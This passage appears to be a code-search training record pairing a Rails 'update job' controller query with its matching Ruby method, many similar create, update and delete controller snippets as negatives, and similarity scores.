"def create\n\n @customer_job = CustomerJob.new( customer_job_params )\n\n respond_to do |format|\n if @customer_job.save\n format.html { redirect_to customer_jobs_url, notice: 'Customer job was successfully created.' }\n format.json { render :show, status: :created, location: @customer_job }\n else\n format.html { render :new }\n format.json { render json: @customer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @print_job = PrintJob.new(print_job_params)\n\n respond_to do |format|\n if @print_job.save\n format.html { redirect_to @print_job, notice: 'Print job was successfully created.' }\n format.json { render :show, status: :created, location: @print_job }\n else\n format.html { render :new }\n format.json { render json: @print_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @db_job = DbJob.new(db_job_params)\n\n respond_to do |format|\n if @db_job.save\n format.html { redirect_to @db_job, notice: 'Db job was successfully created.' }\n format.json { render :show, status: :created, location: @db_job }\n else\n format.html { render :new }\n format.json { render json: @db_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @job = Job.new(job_params)\n\n if @job.save \n render 'jobs/create'\n end \n end",
"def create\n @jobtype = Jobtype.new(params[:jobtype])\n \n if @jobtype.save\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"def create\n @job_progress = JobProgress.new(job_progress_params)\n\n respond_to do |format|\n if @job_progress.save\n format.html { redirect_to @job_progress, notice: 'Job progress was successfully created.' }\n format.json { render :show, status: :created, location: @job_progress }\n else\n format.html { render :new }\n format.json { render json: @job_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n respond_to do |format|\n if @job.save_series\n record_activity :create, @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n @job_type = JobType.find_by(id: @job.job_type_id)\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.poster_id = current_user.id\n respond_to do |format|\n if @job.save\n\tformat.html { \n\t if session[:batch_job] == true\n\t redirect_to batch_job_path\n\t else\n\t redirect_to job_build_path(job_id: @job.id, id: :job_scope)\n\t end }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.74641937",
"0.73064774",
"0.70868206",
"0.70318276",
"0.7020725",
"0.70076245",
"0.69820875",
"0.6932717",
"0.6932393",
"0.6921801",
"0.690776",
"0.6904804",
"0.68841195",
"0.68841195",
"0.68841195",
"0.6880201",
"0.6878812",
"0.68659544",
"0.6856052",
"0.6820773",
"0.6802524",
"0.6800804",
"0.67782366",
"0.6699477",
"0.6675743",
"0.66638595",
"0.6657965",
"0.66499007",
"0.664411",
"0.664411",
"0.6639388",
"0.6585875",
"0.6580278",
"0.6563387",
"0.65632266",
"0.65519947",
"0.65470797",
"0.65227",
"0.6520522",
"0.649927",
"0.6492484",
"0.64791805",
"0.64784694",
"0.64744866",
"0.6463607",
"0.6461046",
"0.645945",
"0.6449949",
"0.6441076",
"0.6440606",
"0.64192486",
"0.639435",
"0.6389524",
"0.63838416",
"0.6378053",
"0.6362768",
"0.6361608",
"0.63593835",
"0.6354577",
"0.6350836",
"0.63418674",
"0.6341601",
"0.63388187",
"0.6335929",
"0.6334812",
"0.6309098",
"0.6296334",
"0.6296334",
"0.6296334",
"0.6296334",
"0.62901354",
"0.6289007",
"0.6286024",
"0.6285204",
"0.627709",
"0.6275034",
"0.6272077",
"0.6267853",
"0.62621814",
"0.62621814",
"0.62621814",
"0.62621814",
"0.6244258",
"0.6242678",
"0.62420696",
"0.62357044",
"0.6235201",
"0.6229365",
"0.6205252",
"0.6205074",
"0.620479",
"0.61994207",
"0.619894",
"0.61986345",
"0.61953866",
"0.61947423",
"0.6193481",
"0.6191382",
"0.617558",
"0.61706126",
"0.61699426"
] |
0.0
|
-1
|
PUT /jobs/1 PUT /jobs/1.json
|
def update
@job = current_user.jobs.find(params[:id])
respond_to do |format|
if @job.update_attributes(params[:job])
flash[:notice] = t('jobs_controller.update.success')
format.html { redirect_to @job}
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @job.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job(job:)\n response = HTTParty.put(\"#{@host}/api/jobs/#{job[:id]}\", body: {job: job, api_key: @api_key})\n \n return response.success?\n end",
"def update(id, job)\n connection.put do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n @job.update({\n name: params[:job][:name],\n description: params[:job][:description],\n origin: params[:job][:origin],\n destination: params[:job][:destination],\n cost: params[:job][:cost],\n containers_needed: params[:job][:containers_needed]\n })\n\n if (@job)\n redirect_to url_for(:controller => :jobs, :action => :index)\n else\n redirect_to url_for(:controller => :jobs, :action => :edit)\n end\n end",
"def update\n\n @job = current_member.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(job_params)\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Mugen::Job.update(params[:id])\n \n redirect_to mygengo_jobs_path\n end",
"def update\n begin\n @job_request = job_requests.find( params[ :id ] )\n rescue ActiveRecord::RecordNotFound\n @job_request = nil\n end\n\n respond_to do |format|\n if @job_request && @job_request.update_attributes( params[ :job_request ] )\n format.html { redirect_to root_path, notice: \"Job Requests Updated Successfully\"}\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, notice: \"Update Failed\" }\n format.json { render json: @job_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def action_update\n if job_exists\n post_job(job_url)\n else\n post_job(new_job_url)\n end\nend",
"def update\n #@job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @job.update(job_params)\n @job.update(category: @category)\n @job.update(keywords: @keywords)\n render json: @job, status: :accepted\n else\n render json: @job.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update #:nodoc:\n job = Job.find(params[:id])\n job.enter(params[:status], params, request.headers)\n respond_with job, location: api_job_url(job)\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n if @job.update_attributes(params[:job])\n response_message = {:message => \"Job updated successfully.\", :job => @job}\n else\n response_message = {:message => \"Job updation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message }\n format.json { render :json => response_message }\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, success: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to root_path, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n if @job.update_attributes(params[:job])\n flash[:success] = \"The job has been updated!\"\n redirect_to root_url\n end\n\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @create_job.update(create_job_params)\n format.html { redirect_to @create_job, notice: 'job was successfully updated.' }\n format.json { render :show, status: :ok, location: @create_job }\n else\n format.html { render :edit }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n byebug\n respond_to do |format|\n if @job.update(send(\"#{@job.type.underscore.to_sym}_params\"))\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n record_activity :update, @job\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n if @job_item.update_attributes(params[:job_item])\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if UbiquoJobs.manager.update(params[:id], params[:job])\n flash[:notice] = t(\"ubiquo.jobs.job_edited\")\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n format.js\n else\n flash[:error] = t(\"ubiquo.jobs.cant_edit\")\n format.html { render :action => \"edit\" }\n format.xml { render :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @myjob.update(myjob_params)\n format.html { redirect_to @myjob, notice: 'Myjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @myjob }\n else\n format.html { render :edit }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@job)\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pending_job.update(pending_job_params)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully updated.' }\n format.json { render :show, status: :ok, location: @pending_job }\n else\n format.html { render :edit }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully accepted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_sauce_job_status(json_data = {})\n host = \"http://#{settings.sl_user}:#{settings.sl_api_key}@saucelabs.com\"\n path = \"/rest/v1/#{settings.sl_user}/jobs/#{session_id}\"\n url = \"#{host}#{path}\"\n ::RestClient.put url, json_data.to_json, content_type: :json, accept: :json\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @saved_job = SavedJob.find(params[:id])\n\n respond_to do |format|\n if @saved_job.update_attributes(params[:saved_job])\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n \n # todo:\n # add permission checking here\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @launched_job.update(launched_job_params)\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n\n Job.storage_fields.each do |field|\n job[field.to_sym] = params[field.to_sym]\n end\n\n respond_with job.save\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = 'Job was successfully updated.'\n\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity } \n end\n end\n end",
"def create_batch_job(job_id)\n request = Net::HTTP::Put.new(\"/jobs/#{job_id}\")\n response = http.request(request)\n handle_response({ request_method: request.method, request_path: request.path }, response)\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saved_job.update(saved_job_params)\n format.html { redirect_to @saved_job, notice: t('saved_jobs_controller.saved_jobs_update_success') }\n format.json { render :show, status: :ok, location: @saved_job }\n else\n format.html { render :edit }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @job\n respond_to do |format|\n if @job.update(job_params)\n flash[:success] = t('flashes.update', model: Job.model_name.human)\n format.html { redirect_to @job}\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @job = args[:job] if args.key?(:job)\n end",
"def update!(**args)\n @job = args[:job] if args.key?(:job)\n end",
"def update\n respond_to do |format|\n if @act_job.update(act_job_params)\n format.html { redirect_to @act_job, notice: 'Act job was successfully updated.' }\n format.json { render :show, status: :ok, location: @act_job }\n else\n format.html { render :edit }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @job = args[:job] if args.key?(:job)\n @status = args[:status] if args.key?(:status)\n end",
"def set_job\n @job = Job.find_by_id(params[:id])\n if @job == nil\n head :not_found\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_folio = JobFolio.find(params[:id])\n\n respond_to do |format|\n if @job_folio.update_attributes(params[:job_folio])\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def update!(**args)\n @failed_jobs = args[:failed_jobs] if args.key?(:failed_jobs)\n @job = args[:job] if args.key?(:job)\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @job.update( job_params )\n redirect_to @job, notice:'Job updated.'\n else\n render :edit\n end\n end",
"def update\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n if @job_title.update_attributes(params[:job_title])\n format.html { redirect_to @job_title, notice: 'Job title was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_title.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n if !owner?(@job)\n flash[:error] = \"Dazu hast du keine Berechtigung!\"\n elsif @job.update_attributes(params[:job])\n ConflictHelper.delete_management(@device, @job.id-1)\n flash[:success] = \"Auftrag wurde erfolgreich geaendert\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def update\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n if @training_active_job.update_attributes(params[:training_active_job])\n format.html { redirect_to @training_active_job, notice: 'Active job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training_active_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = @company.jobs.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @db_job.update(db_job_params)\n format.html { redirect_to @db_job, notice: 'Db job was successfully updated.' }\n format.json { render :show, status: :ok, location: @db_job }\n else\n format.html { render :edit }\n format.json { render json: @db_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end",
"def set_job\n @job = Job.find(params[:id])\n end"
] |
[
"0.7422482",
"0.7243558",
"0.7182451",
"0.7182451",
"0.7182451",
"0.71784604",
"0.70229214",
"0.6868921",
"0.68641233",
"0.6817958",
"0.6770402",
"0.6764434",
"0.6732142",
"0.67181206",
"0.66856176",
"0.66823727",
"0.66703683",
"0.6648588",
"0.6632802",
"0.6585293",
"0.6569656",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.6560724",
"0.654019",
"0.6532367",
"0.65316725",
"0.6528926",
"0.65275776",
"0.6526214",
"0.6519772",
"0.65061057",
"0.6483217",
"0.6477438",
"0.6452874",
"0.64432955",
"0.6440099",
"0.6433998",
"0.6430783",
"0.63944",
"0.63944",
"0.6372448",
"0.6372105",
"0.6362299",
"0.63621086",
"0.6359692",
"0.6359692",
"0.6359692",
"0.6356541",
"0.63438964",
"0.6332304",
"0.632748",
"0.6323454",
"0.6313633",
"0.6306307",
"0.62866247",
"0.62830174",
"0.6271649",
"0.6266361",
"0.62342006",
"0.62342006",
"0.6233628",
"0.62294453",
"0.62045854",
"0.6196984",
"0.61774355",
"0.61681235",
"0.61681235",
"0.61681235",
"0.61608636",
"0.61471885",
"0.61368585",
"0.6117405",
"0.61076105",
"0.6087949",
"0.60821635",
"0.6063365",
"0.6060288",
"0.60585034",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243",
"0.6052243"
] |
0.6756657
|
12
|
DELETE /jobs/1 DELETE /jobs/1.json
|
def destroy
if current_user.nil?
redirect_to login_path and return false
end
#p current_user
#p current_user.jobs
if current_user.jobs.empty?
redirect_to root_path and return false
end
if current_user.is_admin?
@job = Job.find(params[:id])
else
@job = current_user.jobs.find(params[:id])
end
@job.destroy
respond_to do |format|
format.html { redirect_to jobs_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete(id)\n connection.delete do |req|\n req.url \"job/#{id}\"\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
